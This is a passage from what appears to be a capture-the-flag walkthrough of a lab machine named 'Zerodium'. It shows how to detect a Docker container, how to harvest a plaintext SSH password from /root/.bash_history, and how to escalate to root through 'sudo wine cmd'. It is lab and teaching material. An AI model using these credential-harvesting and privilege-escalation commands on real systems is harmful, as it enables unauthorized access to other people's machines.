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And escaping the container environment and gaining access to the Docker host is commonly known as a “Docker escape”

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```
$ whoami  
root  
<h1>Zerodium</h1>
```

After gaining access to the webserver via the PHP exploit, we find that we're running as the root user, but we shouldn't get too excited, because we're in a Docker container

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```
$ ls -la /  
total 84  
drwxr-xr-x  1 root root 4096 May  5  2023 .  
drwxr-xr-x  1 root root 4096 May  5  2023 ..  
-rwxr-xr-x  1 root root    0 May  5  2023 .dockerenv
```

The first big indicator that we're in a Docker container is the presence of a `.dockerenv` file in the top level directory

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```
$ ps aux  
<h1>Zerodium</h1>
```

The second big indicator is that there are no processes running on the system. Docker containers often have very few running processes

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```
$ ls -la /root
total 24
drwx----- 1 root root 4096 May  5 2023 .
drwxr-xr-x  1 root root 4096 May  5 2023 ..
-rw-r--r--  1 root root   47 May  5 2023 .bash_history
```

In this container, our “escape” method is finding an open **.bash_history** in the **/root** directory

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```
$ cat /root/.bash_history  
sshpass -p 'L14mD0ck3Rp0w4' ssh liam@127.0.0.1  
<h1>Zerodium</h1>
```

The file's contents include credentials, so we can login to the server directly as the liam user using SSH

Privilege Escalation

Sudo Wine

Wine is a Linux / UNIX program used to run Windows programs on a Linux / UNIX system



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```
sudo wine cmd
```

If we can run sudo with the Wine command, then we can open Windows shell with root access using the command illustrated above

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Sudo Wine

```
Z:\home\liam>dir
El volumen en la unidad Z no tiene etiqueta.
El número de serie del volumen es 0000-0000

Directory of Z:\home\liam

05/05/2023      18:43    <DIR>          .
05/05/2023      18:41    <DIR>          ..
05/05/2023      18:43                33  user.txt
```

The only catch is that we must use Windows terminal commands in this shell, e.g., **dir** instead of **ls**, **type** instead of **cat**, etc